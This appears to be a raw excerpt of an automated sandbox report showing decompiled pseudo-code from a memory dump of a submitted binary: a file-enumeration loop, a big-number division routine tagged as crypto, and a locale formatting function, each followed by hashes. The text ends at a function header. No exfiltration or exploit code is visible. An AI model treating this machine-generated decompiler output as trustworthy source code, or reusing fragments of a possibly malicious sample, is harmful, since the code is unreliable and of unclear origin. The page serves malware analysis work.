								if(_t113 != 0xffffffff) {
									_t92 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t92;
									_t93 = _t92 >> 2;
									_v344 = _t92 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E0026A928(_t79, _t93, _t106, _t113,  &(_v332.cFileName), _t79, _v340);
											_t122 = _t122 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t93 = _v287;
											__eflags = _t93;
											if(_t93 == 0) {
												goto L37;
											} else {
												__eflags = _t93 - 0x2e;
												if(_t93 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t113,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t103 =  *_t55;
									_t96 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t96 - _t65;
									if(_t96 != _t65) {
										E002658F0(_t79, _t106, _t113, _t103 + _t96 * 4, _t65 - _t96, 4, E0026A780);
									}
								} else {
									_push(_t55);
									_t57 = E0026A928(_t79, _t90, _t106, _t113, _t79, _t106, _t106);
									L26:
									_t106 = _t57;
								}
								__eflags = _t113 - 0xffffffff;
								if(_t113 != 0xffffffff) {
									FindClose(_t113);
								}
							} else {
								__eflags = _t88 -  &(_t79[1]);
								if(_t88 ==  &(_t79[1])) {
									goto L19;
								} else {
									_push(_t112);
									E0026A928(_t79, _t88, 0, _t112, _t79, 0, 0);
								}
							}
							__eflags = _v12 ^ _t118;
							return E0025EA8A(_v12 ^ _t118);
						} else {
							goto L6;
						}
					}
				} else {
					_t74 = 0xc;
					L8:
					return _t74;
				}
				L40:
			}

0x0026a92d
0x0026a92e
0x0026a931
0x0026a931
0x0026a934
0x0026a934
0x0026a936
0x0026a937
0x0026a940
0x0026a941
0x0026a944
0x0026a947
0x0026a94c
0x0026a953
0x0026a954
0x0026a955
0x0026a958
0x0026a962
0x0026a965
0x0026a966
0x0026a968
0x0026a97c
0x0026a97c
0x0026a97f
0x0026a989
0x0026a98e
0x0026a991
0x0026a993
0x00000000
0x0026a995
0x0026a999
0x0026a9a2
0x0026a9a8
0x00000000
0x0026a9ab
0x0026a96a
0x0026a96a
0x0026a970
0x0026a975
0x0026a978
0x0026a97a
0x0026a9b1
0x0026a9b3
0x0026a9b4
0x0026a9b5
0x0026a9b6
0x0026a9b7
0x0026a9b8
0x0026a9bd
0x0026a9c1
0x0026a9c3
0x0026a9c9
0x0026a9d0
0x0026a9d3
0x0026a9d6
0x0026a9d7
0x0026a9da
0x0026a9db
0x0026a9de
0x0026a9df
0x0026aa00
0x0026aa00
0x0026aa02
0x00000000
0x00000000
0x0026a9e7
0x0026a9e9
0x0026a9eb
0x0026a9ed
0x0026a9ef
0x0026a9f1
0x0026a9f3
0x0026a9fe
0x00000000
0x0026a9fe
0x0026a9f3
0x0026a9ef
0x00000000
0x0026a9eb
0x0026aa04
0x0026aa06
0x0026aa09
0x0026aa22
0x0026aa22
0x0026aa24
0x0026aa27
0x0026aa37
0x0026aa39
0x0026aa39
0x0026aa29
0x0026aa29
0x0026aa2c
0x00000000
0x0026aa2e
0x0026aa2e
0x0026aa31
0x00000000
0x0026aa33
0x0026aa33
0x0026aa33
0x0026aa31
0x0026aa2c
0x0026aa3f
0x0026aa47
0x0026aa4b
0x0026aa59
0x0026aa5e
0x0026aa73
0x0026aa75
0x0026aa7b
0x0026aa7e
0x0026aab0
0x0026aab0
0x0026aab2
0x0026aab5
0x0026aabb
0x0026aabb
0x0026aac2
0x0026aadc
0x0026aadc
0x0026aaeb
0x0026aaf0
0x0026aaf3
0x0026aaf5
0x00000000
0x00000000
0x00000000
0x00000000
0x0026aac4
0x0026aac4
0x0026aaca
0x0026aacc
0x00000000
0x0026aace
0x0026aace
0x0026aad1
0x00000000
0x0026aad3
0x0026aad3
0x0026aada
0x00000000
0x00000000
0x00000000
0x00000000
0x0026aada
0x0026aad1
0x0026aacc
0x00000000
0x0026aaf7
0x0026aaff
0x0026ab05
0x0026ab07
0x0026ab07
0x0026ab0f
0x0026ab14
0x0026ab1c
0x0026ab1f
0x0026ab21
0x0026ab35
0x0026ab3a
0x0026aa80
0x0026aa80
0x0026aa84
0x0026aa8c
0x0026aa8c
0x0026aa8c
0x0026aa8e
0x0026aa91
0x0026aa94
0x0026aa94
0x0026aa0b
0x0026aa0e
0x0026aa10
0x00000000
0x0026aa12
0x0026aa12
0x0026aa18
0x0026aa1d
0x0026aa10
0x0026aaa1
0x0026aaac
0x00000000
0x00000000
0x00000000
0x0026a97a
0x0026a94e
0x0026a950
0x0026a9ac
0x0026a9b0
0x0026a9b0
0x00000000

Strings

., xrefs: 0026AABB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 3ed01f5f209a882e7f6bae1e7d0be5a8d9946407e53eb336585cef0c41b6db84
Instruction ID: e85922ba165efc8916262011018452a7e17d0d33651fab74c4ed6c42a6d3eec5
Opcode Fuzzy Hash: 3ed01f5f209a882e7f6bae1e7d0be5a8d9946407e53eb336585cef0c41b6db84
Instruction Fuzzy Hash: F131357182024AAFCB249E78CC85EFB7BBDDB85304F1001A9F919E3251E6309D94CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0026CA20 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

			E0026CA20(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E0025E600(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E00271770(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E0025E620(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
												_t209 = 0;
												__eflags = 0;
												_v44 = 0;
												_v8 = _t263;
												_v72 = _t263;
												_v28 = 0;
												_v68 = 0;
											} else {
												__eflags = _t263 - 0xffffffff;
												if(_t263 > 0xffffffff) {
													goto L40;
												}
											}
											__eflags = 0;
											if(0 <= 0) {
												if(0 < 0) {
													goto L44;
												} else {
													__eflags = _t333 - 0xffffffff;
													if(_t333 <= 0xffffffff) {
														while(1) {
															L44:
															_v8 = _v24;
															_t228 = E0025E620(_v36, 0, _t263, _t209);
															__eflags = _t311 - _t333;
															if(__eflags < 0) {
																break;
															}
															if(__eflags > 0) {
																L47:
																_t209 = _v28;
																_t263 = _t263 + 0xffffffff;
																_v72 = _t263;
																asm("adc eax, 0xffffffff");
																_t333 = _t333 + _v56;
																__eflags = _t333;
																_v28 = _t209;
																asm("adc dword [ebp-0x28], 0x0");
																_v68 = _t209;
																if(_t333 == 0) {
																	__eflags = _t333 - 0xffffffff;
																	if(_t333 <= 0xffffffff) {
																		continue;
																	} else {
																	}
																}
															} else {
																__eflags = _t228 - _v8;
																if(_t228 <= _v8) {
																	break;
																} else {
																	goto L47;
																}
															}
															L51:
															_v8 = _t263;
															goto L52;
														}
														_t209 = _v28;
														goto L51;
													}
												}
											}
											L52:
											__eflags = _t209;
											if(_t209 != 0) {
												L54:
												_t280 = _v60;
												_t334 = 0;
												_t355 = 0;
												__eflags = _t280;
												if(_t280 != 0) {
													_t266 = _v20;
													_t219 =  &(_a8[1]);
													__eflags = _t219;
													_v24 = _t219;
													_v16 = _t280;
													do {
														_v44 =  *_t219;
														_t225 =  *_t266;
														_t286 = _t334 + _v72 * _v44;
														asm("adc esi, edx");
														_t334 = _t355;
														_t355 = 0;
														__eflags = _t225 - _t286;
														if(_t225 < _t286) {
															_t334 = _t334 + 1;
															asm("adc esi, esi");
														}
														 *_t266 = _t225 - _t286;
														_t266 = _t266 + 4;
														_t219 = _v24 + 4;
														_t164 =  &_v16;
														 *_t164 = _v16 - 1;
														__eflags =  *_t164;
														_v24 = _t219;
													} while ( *_t164 != 0);
													_t263 = _v8;
													_t280 = _v60;
												}
												__eflags = 0 - _t355;
												if(__eflags <= 0) {
													if(__eflags < 0) {
														L63:
														__eflags = _t280;
														if(_t280 != 0) {
															_t338 = _t280;
															_t314 = _v20;
															_t362 =  &(_a8[1]);
															__eflags = _t362;
															_t265 = 0;
															do {
																_t282 =  *_t314;
																_t172 = _t362 + 4; // 0xa6a5959
																_t362 = _t172;
																_t314 = _t314 + 4;
																asm("adc eax, eax");
																 *((intOrPtr*)(_t314 - 4)) = _t282 +  *((intOrPtr*)(_t362 - 4)) + _t265;
																asm("adc eax, 0x0");
																_t265 = 0;
																_t338 = _t338 - 1;
																__eflags = _t338;
															} while (_t338 != 0);
															_t263 = _v8;
														}
														_t263 = _t263 + 0xffffffff;
														asm("adc dword [ebp-0x18], 0xffffffff");
													} else {
														__eflags = _v52 - _t334;
														if(_v52 < _t334) {
															goto L63;
														}
													}
												}
												_t213 = _v12 - 1;
												__eflags = _t213;
												_v16 = _t213;
											} else {
												__eflags = _t263;
												if(_t263 != 0) {
													goto L54;
												}
											}
											_t331 = 0 + _t263;
											asm("adc esi, 0x0");
											_v20 = _v20 - 4;
											_t313 = _v32 - 1;
											_t262 = _a4;
											_t278 = _v80 - 4;
											_t206 = _v12 - 1;
											_v76 = _t331;
											_v32 = _t313;
											_v80 = _t278;
											_v12 = _t206;
											__eflags = _t313;
										} while (_t313 >= 0);
									}
									_t309 = _v16 + 1;
									_t204 = _t309;
									__eflags = _t204 -  *_t262;
									if(_t204 <  *_t262) {
										_t191 = _t204 + 1; // 0x26e03d
										_t274 =  &(_t262[_t191]);
										do {
											 *_t274 = 0;
											_t194 =  &(_t274[1]); // 0x91850fc2
											_t274 = _t194;
											_t204 = _t204 + 1;
											__eflags = _t204 -  *_t262;
										} while (_t204 <  *_t262);
									}
									 *_t262 = _t309;
									__eflags = _t309;
									if(_t309 != 0) {
										while(1) {
											_t271 =  *_t262;
											__eflags = _t262[_t271];
											if(_t262[_t271] != 0) {
												goto L78;
											}
											_t272 = _t271 + 0xffffffff;
											__eflags = _t272;
											 *_t262 = _t272;
											if(_t272 != 0) {
												continue;
											}
											goto L78;
										}
									}
									L78:
									return _t331;
								} else {
									goto L23;
								}
							}
						} else {
							_t6 =  &(_t328[1]); // 0xfc23b5a
							_t295 =  *_t6;
							_v44 = _t295;
							__eflags = _t295 - 1;
							if(_t295 != 1) {
								__eflags = _t349;
								if(_t349 != 0) {
									_t342 = 0;
									_v12 = 0;
									_v8 = 0;
									_v20 = 0;
									__eflags = _t349 - 0xffffffff;
									if(_t349 != 0xffffffff) {
										_t250 = _v16 + 1;
										__eflags = _t250;
										_v32 = _t250;
										_t373 =  &(_t262[_t349 + 1]);
										do {
											_t253 = E00271770( *_t373, _t342, _t295, 0);
											_v68 = _t303;
											_t373 = _t373 - 4;
											_v20 = _t262;
											_t342 = _t295;
											_t303 = 0 + _t253;
											asm("adc ecx, 0x0");
											_v12 = _t303;
											_t34 =  &_v32;
											 *_t34 = _v32 - 1;
											__eflags =  *_t34;
											_v8 = _v12;
											_t295 = _v44;
										} while ( *_t34 != 0);
										_t262 = _a4;
									}
									_v544 = 0;
									_t41 =  &(_t262[1]); // 0x4
									_t370 = _t41;
									 *_t262 = 0;
									E0026B3C1(_t370, 0x1cc,  &_v540, 0);
									_t247 = _v20;
									__eflags = 0 - _t247;
									 *_t370 = _t342;
									_t262[2] = _t247;
									asm("sbb ecx, ecx");
									__eflags =  ~0x00000000;
									 *_t262 = 0xbadbae;
									return _v12;
								} else {
									_t14 =  &(_t262[1]); // 0x4
									_t344 = _t14;
									_v544 = 0;
									 *_t262 = 0;
									E0026B3C1(_t344, 0x1cc,  &_v540, 0);
									_t256 = _t262[1];
									_t322 = _t256 % _v44;
									__eflags = 0 - _t322;
									 *_t344 = _t322;
									asm("sbb ecx, ecx");
									__eflags = 0;
									 *_t262 =  ~0x00000000;
									return _t256 / _v44;
								}
							} else {
								_t9 =  &(_t262[1]); // 0x4
								_v544 = _t198;
								 *_t262 = _t198;
								E0026B3C1(_t9, 0x1cc,  &_v540, _t198);
								__eflags = 0;
								return _t262[1];
							}
						}
					} else {
						__eflags = 0;
						return 0;
					}
				} else {
					return _t197;
				}
			}

0x0026ca2c
0x0026ca2f
0x0026ca33
0x0026ca3d
0x0026ca40
0x0026ca42
0x0026ca44
0x0026ca51
0x0026ca51
0x0026ca54
0x0026ca54
0x0026ca57
0x0026ca5a
0x0026ca5c
0x0026cb8f
0x0026cb91
0x0026cbda
0x0026cbde
0x0026cbe4
0x0026cb93
0x0026cb95
0x0026cb98
0x0026cb9a
0x0026cb9d
0x0026cb9f
0x0026cba1
0x0026cbd5
0x0026cbd5
0x0026cbd5
0x0026cba3
0x0026cba8
0x0026cbae
0x0026cbae
0x0026cbb1
0x0026cbb3
0x0026cbb5
0x00000000
0x00000000
0x0026cbb7
0x0026cbb8
0x0026cbbb
0x0026cbbe
0x0026cbc0
0x00000000
0x0026cbc2
0x00000000
0x0026cbc2
0x00000000
0x0026cbc0
0x0026cbc4
0x0026cbcb
0x0026cbcf
0x0026cbd3
0x00000000
0x00000000
0x0026cbd3
0x0026cbd6
0x0026cbd6
0x0026cbd8
0x0026cbe5
0x0026cbe8
0x0026cbeb
0x0026cbee
0x0026cbee
0x0026cbf2
0x0026cbf5
0x0026cbf8
0x0026cbfb
0x0026cc06
0x0026cbfd
0x0026cc02
0x0026cc02
0x0026cc10
0x0026cc15
0x0026cc18
0x0026cc1a
0x0026cc24
0x0026cc27
0x0026cc2e
0x0026cc31
0x0026cc34
0x0026cc3c
0x0026cc42
0x0026cc42
0x0026cc42
0x0026cc42
0x0026cc34
0x0026cc47
0x0026cc4e
0x0026cc4e
0x0026cc51
0x0026cc54
0x0026ce86
0x0026ce86
0x0026cc5a
0x0026cc5a
0x0026cc60
0x0026cc63
0x0026cc66
0x0026cc69
0x0026cc6c
0x0026cc6f
0x0026cc72
0x0026cc72
0x0026cc75
0x0026cc7c
0x0026cc7c
0x0026cc77
0x0026cc77
0x0026cc77
0x0026cc7e
0x0026cc82
0x0026cc85
0x0026cc87
0x0026cc8a
0x0026cc91
0x0026cc94
0x0026cc97
0x0026cca2
0x0026cca5
0x0026ccaa
0x0026ccaf
0x0026ccb6
0x0026ccbb
0x0026ccbd
0x0026ccbf
0x0026ccc3
0x0026ccc6
0x0026ccc9
0x0026ccd1
0x0026ccda
0x0026ccda
0x0026ccdc
0x0026ccdf
0x0026ccdf
0x0026ccc9
0x0026cce9
0x0026ccee
0x0026ccf3
0x0026ccf5
0x0026ccf8
0x0026ccfa
0x0026ccfd
0x0026cd00
0x0026cd02
0x0026cd05
0x0026cd08
0x0026cd0a
0x0026cd11
0x0026cd16
0x0026cd19
0x0026cd23
0x0026cd25
0x0026cd27
0x0026cd2a
0x0026cd2a
0x0026cd2c
0x0026cd2f
0x0026cd32
0x0026cd35
0x0026cd38
0x0026cd0c
0x0026cd0c
0x0026cd0f
0x00000000
0x00000000
0x0026cd0f
0x0026cd3b
0x0026cd3d
0x0026cd3f
0x00000000
0x0026cd41
0x0026cd41
0x0026cd44
0x0026cd46
0x0026cd46
0x0026cd54
0x0026cd57
0x0026cd5c
0x0026cd5e
0x00000000
0x00000000
0x0026cd60
0x0026cd67
0x0026cd67
0x0026cd6a
0x0026cd6d
0x0026cd70
0x0026cd73
0x0026cd73
0x0026cd76
0x0026cd79
0x0026cd7d
0x0026cd80
0x0026cd82
0x0026cd85
0x00000000
0x00000000
0x0026cd87
0x0026cd85
0x0026cd62
0x0026cd62
0x0026cd65
0x00000000
0x00000000
0x00000000
0x00000000
0x0026cd65
0x0026cd8c
0x0026cd8c
0x00000000
0x0026cd8c
0x0026cd89
0x00000000
0x0026cd89
0x0026cd44
0x0026cd3f
0x0026cd8f
0x0026cd8f
0x0026cd91
0x0026cd9b
0x0026cd9b
0x0026cd9e
0x0026cda0
0x0026cda2
0x0026cda4
0x0026cda9
0x0026cdac
0x0026cdac
0x0026cdaf
0x0026cdb2
0x0026cdb5
0x0026cdb7
0x0026cdcc
0x0026cdce
0x0026cdd0
0x0026cdd2
0x0026cdd4
0x0026cdd6
0x0026cdd8
0x0026cdda
0x0026cddd
0x0026cddd
0x0026cde1
0x0026cde3
0x0026cde9
0x0026cdec
0x0026cdec
0x0026cdec
0x0026cdf0
0x0026cdf0
0x0026cdf5
0x0026cdf8
0x0026cdf8
0x0026cdfd
0x0026cdff
0x0026ce01
0x0026ce08
0x0026ce08
0x0026ce0a
0x0026ce0f
0x0026ce11
0x0026ce14
0x0026ce14
0x0026ce17
0x0026ce20
0x0026ce20
0x0026ce22
0x0026ce22
0x0026ce27
0x0026ce2d
0x0026ce31
0x0026ce34
0x0026ce37
0x0026ce39
0x0026ce39
0x0026ce39
0x0026ce3e
0x0026ce3e
0x0026ce41
0x0026ce44
0x0026ce03
0x0026ce03
0x0026ce06
0x00000000
0x00000000
0x0026ce06
0x0026ce01
0x0026ce4b
0x0026ce4b
0x0026ce4c
0x0026cd93
0x0026cd93
0x0026cd95
0x00000000
0x00000000
0x0026cd95
0x0026ce5c
0x0026ce61
0x0026ce64
0x0026ce68
0x0026ce69
0x0026ce6c
0x0026ce6f
0x0026ce70
0x0026ce73
0x0026ce76
0x0026ce79
0x0026ce7c
0x0026ce7c
0x0026ce84
0x0026ce8b
0x0026ce8c
0x0026ce8e
0x0026ce90
0x0026ce92
0x0026ce95
0x0026cea0
0x0026cea0
0x0026cea6
0x0026cea6
0x0026cea9
0x0026ceaa
0x0026ceaa
0x0026cea0
0x0026ceae
0x0026ceb0
0x0026ceb2
0x0026ceb4
0x0026ceb4
0x0026ceb6
0x0026ceba
0x00000000
0x00000000
0x0026cebc
0x0026cebc
0x0026cebf
0x0026cec1
0x00000000
0x00000000
0x00000000
0x0026cec1
0x0026ceb4
0x0026cec3
0x0026cecd
0x00000000
0x00000000
0x00000000
0x0026cbd8
0x0026ca62
0x0026ca62
0x0026ca62
0x0026ca65
0x0026ca68
0x0026ca6b
0x0026ca9c
0x0026ca9e
0x0026cae9
0x0026caeb
0x0026caf2
0x0026caf9
0x0026cafc
0x0026caff
0x0026cb05
0x0026cb05
0x0026cb06
0x0026cb09
0x0026cb10
0x0026cb19
0x0026cb1e
0x0026cb21
0x0026cb26
0x0026cb29
0x0026cb2b
0x0026cb30
0x0026cb33
0x0026cb36
0x0026cb36
0x0026cb36
0x0026cb3a
0x0026cb3d
0x0026cb3d
0x0026cb42
0x0026cb42
0x0026cb4d
0x0026cb58
0x0026cb58
0x0026cb5b
0x0026cb67
0x0026cb6c
0x0026cb77
0x0026cb79
0x0026cb7b
0x0026cb81
0x0026cb86
0x0026cb88
0x0026cb8e
0x0026caa0
0x0026caac
0x0026caac
0x0026caaf
0x0026cabf
0x0026cac5
0x0026cacc
0x0026cace
0x0026cad6
0x0026cad8
0x0026cada
0x0026cadf
0x0026cae2
0x0026cae8
0x0026cae8
0x0026ca6d
0x0026ca70
0x0026ca74
0x0026ca7a
0x0026ca89
0x0026ca93
0x0026ca9b
0x0026ca9b
0x0026ca6b
0x0026ca46
0x0026ca49
0x0026ca4f
0x0026ca4f
0x0026ca35
0x0026ca3b
0x0026ca3b

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a0d7a063ca18aa33b8173c25e0cabb50717dc128e3e66a33e751a7d327b1497
Instruction ID: 4f24ef94465837ca8146c6197f7980e501e6150cda0d070062688e2c3e0838af
Opcode Fuzzy Hash: 7a0d7a063ca18aa33b8173c25e0cabb50717dc128e3e66a33e751a7d327b1497
Instruction Fuzzy Hash: 01023C71E1021A9FDF14DFA9C8806ADBBF5FF48314F25826AD859E7380D731AE518B84

Uniqueness

Uniqueness Score: -1.00%

Function 0025A5BC Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0025A5BC(intOrPtr _a4, intOrPtr _a8, short* _a12, int _a16) {
				short _v104;
				short _v304;
				short* _t23;
				int _t24;

				if( *0x27d610 == 0) {
					GetLocaleInfoW(0x400, 0xf,  &_v304, 0x64);
					 *0x29dca0 = _v304;
					 *0x29dca2 = 0;
					 *0x27d610 = 0x29dca0;
				}
				E0024FC65(_a4, _a8,  &_v104, 0x32);
				_t23 = _a12;
				_t24 = _a16;
				 *_t23 = 0;
				GetNumberFormatW(0x400, 0,  &_v104, 0x27d600, _t23, _t24);
				 *((short*)(_t23 + _t24 * 2 - 2)) = 0;
				return 0;
			}

0x0025a5d4
0x0025a5e2
0x0025a5ef
0x0025a5f7
0x0025a5fd
0x0025a5fd
0x0025a613
0x0025a618
0x0025a61d
0x0025a627
0x0025a631
0x0025a639
0x0025a644

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 0025A5E2
GetNumberFormatW.KERNEL32 ref: 0025A631

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 086121fc0af0d98fb23f72098cc1a2e521fd2b74cc3bc4b64472a750344a5993
Instruction ID: c93f99562b0385e51ad65a28ffd76bf6387959fbc26af64d407006cbbff23790
Opcode Fuzzy Hash: 086121fc0af0d98fb23f72098cc1a2e521fd2b74cc3bc4b64472a750344a5993
Instruction Fuzzy Hash: B8019A35510208AADB10AF60EC09FABB7BCFF09710F404422FA0CA7150D3B09968DBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00246E5E Relevance: 3.0, APIs: 2, Instructions: 17
windowCOMMON

Download Yara Rule

C-Code - Quality: 79%

